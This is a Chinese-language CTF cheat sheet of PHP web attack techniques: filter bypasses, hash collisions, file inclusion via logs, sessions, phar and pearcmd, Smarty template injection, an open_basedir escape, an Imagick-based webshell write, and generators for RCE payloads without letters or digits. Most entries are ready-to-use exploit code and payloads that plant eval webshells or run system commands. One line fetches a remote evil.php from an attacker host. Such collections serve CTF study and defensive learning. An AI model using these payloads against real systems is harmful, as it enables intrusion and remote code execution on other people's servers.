php Tricks preg_match() 换行绕过 对单行匹配的开头或结尾使用 %0a 绕过。
数组绕过 只能处理字符串,当传入的subject是数组时会返回false。
回溯上限绕过 回溯次数默认为1000000,如果回溯次数超过这个数字,preg_match会返回 false。
MD5/Sh1绕过 弱比较 两个字符串想当作科学计数法比较时 0e 后必须为纯数字。
一次md5
两次md5
1 2 3 4 ytl8J61NmcUGzwq r8qcz79YWDuD2 JfuHrIeEKwz3j xAF5pSE7u
一次sha1 1 2 3 aaK1STfY aaO8zKZF aa3OFF9m
数组绕过 md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
强碰撞 md5 [安洵杯 2019]easy_web
1 2 $a1 ="%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2" ;$a2 ="%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2" ;
sha1 1 2 3 4 <?php $a ="%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1" ;$b ="%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1" ;
反序列化 “整数” 和 “字符” 互化 [CISCN 2023 华北]ez_date
1 2 3 4 5 6 class date { public $a =1 ; public $b ="1" ; public $file ="/f\l\a\g" ; } echo base64_encode (serialize (new date ()));
create_function 代码注入 1 2 3 4 5 }system ('tac /flag' ); function lambda_1 ( ) {}system ('tac /flag' );
匿名函数 1 2 $func = create_function ("" ,"die('end.');" );$func = "%00lambda_89"
后面的数字是在服务器自增的,除非结束php的进程,刷新网页仍会继续计数。
CVE-2024-2961(cnext) 影响版本:(PHP 7.0.0 (2015) 到 8.3.7 (2024))
从任意文件读到RCE(非交互式的改良版脚本) GitHub - kezibei/php-filter-iconv
下载 maps 和 libc,注意一定要用 b64 encode,然后解码保存,否则可能出错。修改一下 python 文件里的对应文件路径和bash命令,打码之后 502 属于正常情况。
include RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php $base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4" ; $conversions = array ('/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4' ,'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' ,'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4' ,'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921' ,'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE' ,'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' ,'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE' ,'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2' ,'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' ,'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' ,'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' ,'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213' ,'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' ,'C' => 'convert.iconv.UTF8.CSISO2022KR' ,'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' ,'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT' ,'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB' ,'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90' ,'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213' ,'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213' ,'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4' ,'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE' ,'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC' ,'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T' ,'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4' ,'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775' ,'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB' ,'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2' ,'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4' ,'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS' ,'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103' ,'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' ,'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB' ,'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936' ,'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932' ,'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361' ,'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16' ,'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE' ,'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE' ,'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2' ,'d' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' ,'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937' ,'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213' ,'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8' ,'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE' ,'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000' ,'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16' ,'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2' ,'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE' ,'m' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949' ,'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61' ,'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE' ,'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4' ,'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2' ,'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101' ,'s' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90' ,'t' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS' ,'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61' ,'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932' ,'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE' ,'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS' ,'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT' ,'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937' ,); $filters = "convert.base64-encode|" ;$filters .= "convert.iconv.UTF8.UTF7|" ;foreach (str_split (strrev ($base64_payload )) as $c ) {$filters .= $conversions [$c ] . "|" ;$filters .= "convert.base64-decode|" ;$filters .= "convert.base64-encode|" ;$filters .= "convert.iconv.UTF8.UTF7|" ;} $filters .= "convert.base64-decode" ;$final_payload = "php://filter/{$filters} /resource=index.php" ;echo $final_payload ;
从文件操作函数到任意文件读 github.com/synacktiv/php_filter_chains_oracle_exploit
1 python filters_chain_oracle_exploit.py --target http://xx/xx.php --file '/var/www/html/file_u_want_to_read.php' --parameter funciton_u_guess
死亡 exit 介绍一个过滤器:
对于HTML来说,它会去除标签保留标签之间的内容。
但只有左 < 没有右 > 的后面一律全部杀。
对于php来说,全杀一个不显示。
非同名 1 2 3 4 5 6 7 8 ?filename=php: 先用 strip 去掉 php 代码 然后再用 base64-encode 来解码我们的 webshell ?filename=php: 这个payload 也可以绕过死亡 exit ,PD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 是正常的 b64编码后的 webshell,前面a字母和死亡exit 中除了特殊字符外的phpexit组成 8 个 byte,从而绕过
同名 1 2 3 4 5 6 7 8 9 10 11 php: php: php: 这里 strip_tags 是为了去掉 等号 否则 b64 解码可能到等号就停止了,这样加个 ?> 闭合 然后用 strip_tags 都去掉 php代码,最后留下的就是正经的 这里构造虚拟目录然后再退出,目的就是让文件可读可访问,要不然全是特殊字符。 php:
include文件包含 file://localhost/xxx = /xxx
日志包含 URL:?x=/var/log/nginx/access.log
修改 User-Agent 为 <?php highlight_file('xxx.php'); ?>
有后缀绕过 ?c=data:text/plain,<?php system('ls')?>
?c=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4
?c=data:,<?php system('ls')?>
phar => RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $phar = new Phar ('rce.phar' );$phar ->startBuffering ();$stub = <<<'STUB' <?php system('echo "<?php eval(\$_POST[1]);?>" > /var/www/html/shell.php'); __HALT_COMPILER(); ?> STUB ;$phar ->setStub ($stub );$phar ->addFromString ('test.txt' , 'test' );$phar ->stopBuffering ();?>
通过 gzip 压缩绕过检测
通过改名绕过检测 只要名字中包含子串 .phar 就行,不要求一定是后缀。
这里特指 include,如果其他操作函数需要带上 phar://,这时不要求任意文件名,并且所有的 phar 都可以压缩。
zip/phar协议包含压缩包 1 2 3 4 5 include ("zip://php.zip#php.jpg" );include ("phar://phar.zip/php.jpg" );include ("compress.zlib://phar://phar.phar/test.txt" );
pearcmd/peclcmd 包含 使用条件:
[7.3版本前默认安装]安装了pear扩展(pear 就是一个php扩展及应用的代码仓库,未安装 pear 扩展的话就没有 pear.php 文件可利用)
知道 pearcmd.php 文件的路径
开启了register_argc_argv 选项(只有开启了,$_SERVER[‘argv’] 才会生效。)默认为Off【Docker环境下的PHP会开启】
有包含点,并且能包含php后缀的文件,而且没有 open_basedir 的限制
argc 和 argv 都是用 +(没编码前的,感觉就类似于空格),区分参数的。
1 2 3 4 5 <?php $a =$_GET ['a' ];var_dump ($_SERVER ['argc' ]);var_dump ($_SERVER ['argv' ]);?>
原理就是,当文件包含了pearcmd.php时就会执行$_SERVER['agrv']中的命令。
POST 中传 1=localhost/usr/local/lib/php/pearcmd.php
GET 中传 ?+config-create+/<?=@eval($_POST['cmd']);?>+/var/www/html/shell2.php
原参数命令:
1 2 3 config-create: must have 2 parameters, root path and filename to save as pear config-create /<?=@eval ($_POST [1]);?> /tmp/leekos.php ?+config-create+/&/<?=@eval ($_POST ['cmd' ]);?>+/var/www/html/shell.php
注意这个必须在 GET 中传才可以哦!
并且,直接url中get传参会把 < 这些字符自动编码,就成功不了,所以用burp抓包再改传参。
常规 exp:
1 2 3 ?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://ip/evil.php (路径:/tmp/pear/download/evil.php) ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[0]);?>+/tmp/hello.php(路径:/tmp/hello.php)
session 文件包含 原理就是 服务器会在tmp目录下按照 sess_ + session 名字存储一个 php序列化后的参数值,那么我们假如给他传一个 file 的同时带上参数 PHP_SESSION_UPLOAD_PROGRESS,他就会记录下这个参数,然后再进行执行就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsurl = "https://ce9a3a98-d94d-4fde-82d6-8b3091f110f6.challenge.ctf.show/" data = { 'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_POST[2]);?>' , '1' : 'localhost/tmp/sess_ctfshow' , '2' : 'system("cat /f*");' } file = { 'file' : 'ctfshow' } cookies = { 'PHPSESSID' : 'ctfshow' } response = requests.post(url=url, data=data, files=file, cookies=cookies) print (response.text)
一些常见的 session 位置
1 2 3 4 5 /var/lib/php5/sess_PHPSESSID /var/lib/php7/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSED
move_uploaded_file
当move_uploaded_file函数参数可控时,可以尝试 /. 绕过,因为该函数会忽略掉文件末尾的 /.,所以可以构造 save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的 /. 可以实现保存文件为 .php。
参数特性 特殊参数符号 PHP 会替换 ,+[ 等特殊符号为 _。
但要是第一个是 [ 就会在把它替换为 _ 后就会停止替换。
$_REQUEST POST覆盖,$_REQUEST 同时接受 GET 和 POST 的数据,并且 POST 具有更高的优先值,只需要同时 GET 和 POST 有相同的参数,在检测时 POST 的值就会覆盖 GET 的值从而绕过。
smarty 模板引擎 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 X-Forwarded-For: {if system ('ls /' )}{/if } X-Forwarded-For: {if system ('tac /f*' )}{/if } X-Forwarded-For: {{system ("ls" )}} (有回显) {$smarty .version} (smarty版本号) {php}phpinfo ();{/php} (废弃) {if phpinfo ()}{/if } {self ::getStreamVariable (“file :///etc/passwd”)} (旧版本) {$s =$smarty .template_object->smarty}{$fp =$smarty .template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile ::writeFile ($fp ,"<?php+phpinfo();" ,$s )} {$smarty .template_object->smarty->disableSecurity ()->display ('string:{system(\'id\')}' )} {function name ='rce ( ) {};system ("id" );function '} {/function } # Smarty3 string : {include file='C:/Windows/win.ini' }string :{function name ='x ( ) {};system (whoami);function '} {/function } # CVE -2021-26119,Smarty =3.1.44/4.1.0 string : {$smarty .template_object->smarty->_getSmartyObj ()->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->enableSecurity ()->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->disableSecurity ()->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->addTemplateDir ('./x' )->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->setTemplateDir ('./x' )->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->addPluginsDir ('./x' )->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->setPluginsDir ('./x' )->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->setCompileDir ('./x' )->display ('string:{system(whoami)}' )}string :{$smarty .template_object->smarty->setCacheDir ('./x' )->display ('string:{system(whoami)}' )} eval :{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")' }
intval 低版本可以用科学计数法绕 :
1 2 3 _GET["lover" ] = "4e5" intval ($_GET ['lover' ]) < 2023 && intval ($_GET ['lover' ] + 1 ) > 2024
当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
a当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。
putenv()+system() 1 2 3 4 envs[BASH_FUNC_echo%25 %25 ]=()%20 {%20 id;%20 } get[BASH_FUNC_echo%%]=() { cat /f*; } parma[BASH_FUNC_echo ()]=() { id; }
变量覆盖
注释绕过
注释符号优先级小于 ?> 的了。所以我们只需要闭合然后再重新开就能执行代码了。
换行符 %0a/%0d
ini_set() 1 ini_set ($name ,$value );` => `name=error_log&value=/var /www/html/out.php
file_get_contents 1 echo file_get_contents ("suibian://www.baidu.com/../../../../../../../etc/passwd" );
用不存在的协议 绕过正则匹配。
parse_url 任意协议都可以解析,可以和上文提到的 file_get_contents 配合绕过。
静态方法调用 1 2 3 4 5 6 7 8 9 10 11 12 class qwq { function __wakeup ( ) { die ("Access Denied!" ); } static function oao ( ) { show_source ("config.php" ); } } $a = "qwq::oao" ;$a ();
php精度溢出 1 2 3 if (is_numeric ($a ) and strlen ($a )<7 and $a !=0 and $a **2 ==0 ) $a = 9e-199
open_basedir 限制只能访问某一目录时,但敏感信息在其他根目录或其他子目录。
1 2 3 mkdir ('test' );chdir ('test' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' );readgzfile ('/f1ger' );mkdir ('/tmp/test' );chdir ('/tmp/test' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' );var_dump (scandir ('/' ));@eval ($_POST [a]); echo 1 ;
basename 返回路径中的文件名部分,会去掉文件名开头的非ASCII值。
1 2 3 4 var_dump(basename("\xffconfig.php")); => config.php var_dump(basename("config.php\xff")); => config.php basename($_SERVER['PHP_SELF']) => 运行中的php文件名字
new + 原生类 eval("echo new $a($b);");1 2 3 4 5 6 $a ="SplFileObject" ;$b ="system('whoami')" ;$a ="Exception" ;$b ="system('whoami')" ;eval ("echo new $a ($b );" );
echo new $a($b);1 2 3 4 5 6 7 8 9 10 $a ="DirectoryIterator" ;$b ="glob://f*" ;$a ="SplFileObject" ;$b ="1.php" ;$a ="SplFileObject" ;$b ="php://filter/convert.base64-encode/resource=1.php" ;
(new $a($b))->$c($d);1 (new ReflectionFunction ('system' ))->invoke ('whoami' );
new $a($b);要求:
需要知道网站的目录(比赛中通常是 /var/www/html 或者 /app 这类);
需要在网站目录下有写权限,当然如果知道类似于upload这种文件夹的路径也可以(因为通常它们是可写的);
最最重要的:需要有装Imagick扩展,该扩展其实不是默认自带的(一定程度上限制了攻击面)。
vps 构造恶意图片:
1 convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positiv e.png
上传临时文件配合类读入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /?b=Imagick&c=vid:msl:/tmp/php* HTTP/1.1 Host : 1.1.1.1:32127Cache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Connection : closeContent-Type : multipart/form-data; boundary=----WebKitFormBoundaryeTvfNEmqTayg6bqr Content-Length : 348------WebKitFormBoundaryeTvfNEmqTayg6bqr Content-Disposition: form-data; name="123"; filename="exec.msl" Content-Type: text/plain <?xml version="1.0" encoding="UTF-8" ?> <image > <read filename ="http://vps:12345/positive.png" /> 利用出网读文件<read filename ="caption:< ?php @eval(@$_REQUEST['a']); ?> " /> 不出网 caption<write filename ="/var/www/html/positive.php" /> </image > ------WebKitFormBoundaryeTvfNEmqTayg6bqr--
php filter伪协议底层分析 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php echo file_get_contents ("php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess" ).PHP_EOL; echo file_get_contents ("php://filter/resource=a/convert.base64-decode/../../a.txt" ).PHP_EOL;echo file_get_contents ("php://filter/resource=a/%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65/../../a.txt" ).PHP_EOL;echo file_get_contents ("php://filter/resource=data:,2024<|string.strip_tags|/resource=/dev/null" ).PHP_EOL;
对于 filter 的获取,先获取到 php://filter ,然后指针向后挪动一位,(如果存在 write= 或 read= 再往后推5或6个指针,当然如果不写也没问题,PHP会自己判断),后面所有的都在 filter 协议考虑范围内:用 “/“ 进行分割(如果存在多个再按照 “|” 分割),并进行一步 Urldecode ,如果协议存在按照顺序调用,如果不存在的直接略过。 对于 resource 的获取,获取到第一个 resource= 字样后,后面都是他的文件路径,这里文件路径支持 目录穿越 。
php 常见的语言结构 控制结构:if, else, while, for, foreach, switch, do
输出:echo, print
包含文件:include, include_once, require, require_once
变量处理:isset, unset, empty
其它:eval, exit, die, list, array()
无法通过function调用。
php 运算顺序
优先级
运算符
描述
1
clone, new
创建对象
2
**
幂运算
3
++, --
递增/递减
4
~, (int), (float), (string), (array), (object), (bool), @
类型转换和错误控制
5
instanceof
类型判断
6
!
逻辑非
7
*, /, %
算术运算
8
+, -, .
算术运算和字符串连接
9
<<, >>
位运算
10
<, <=, >, >=
比较运算
11
==, !=, ===, !==, <>, <=>
比较运算
12
&
位与、引用
13
^
位异或
14
`
`
15
&&
逻辑与
16
`
17
??
NULL 合并
18
? :
三元运算符
19
=, +=, -=, *=, **=, /=, .=, %=, &=, `
=, ^=, <<=, >>=`
20
and
逻辑与(低优先级)
21
xor
逻辑异或
22
or
逻辑或(低优先级)
php 弱比较
两个0e开头纯数字的会被当作科学计数法解析
0 和 0e开头后面无所谓的弱相等
任意字符串和 true 弱相等
RCE大法 无字母数字 eval 进制/编码转换(PHP>=7) 1 2 3 4 5 "\x70\x68\x70\x69\x6e\x66\x6f" ();"\163\171\163\164\145\155" ("\167\150\157\141\155\151" );"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}" ('id' );{"username" :"xx" ,"password" :"yy" ,"__class__" : {"__base__" : {"is\u0076ip" : 1 }}}
通过计算达成目的(PHP >= 7) rce_or.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport urllibfrom sys import *import osos.system("php rce_or.php" ) def action (arg ): s1 = "" s2 = "" for i in arg: f = open ("rce_or.txt" , "r" ) while True : t = f.readline() if t == "" : break if t[0 ] == i: s1 += t[2 :5 ] s2 += t[6 :9 ] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output) param = action(input ("\n[+] your function:" )) + action(input ("[+] your command:" )) + ";" print (param)
rce_or.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php $myfile = fopen ("rce_or.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents );fclose ($myfile );
rce_取反.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function negateRce ( ) { fwrite (STDOUT,'[+]your function: ' ); $system =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); fwrite (STDOUT,'[+]your command: ' ); $command =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); echo '[*] (~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ; } negateRce ();
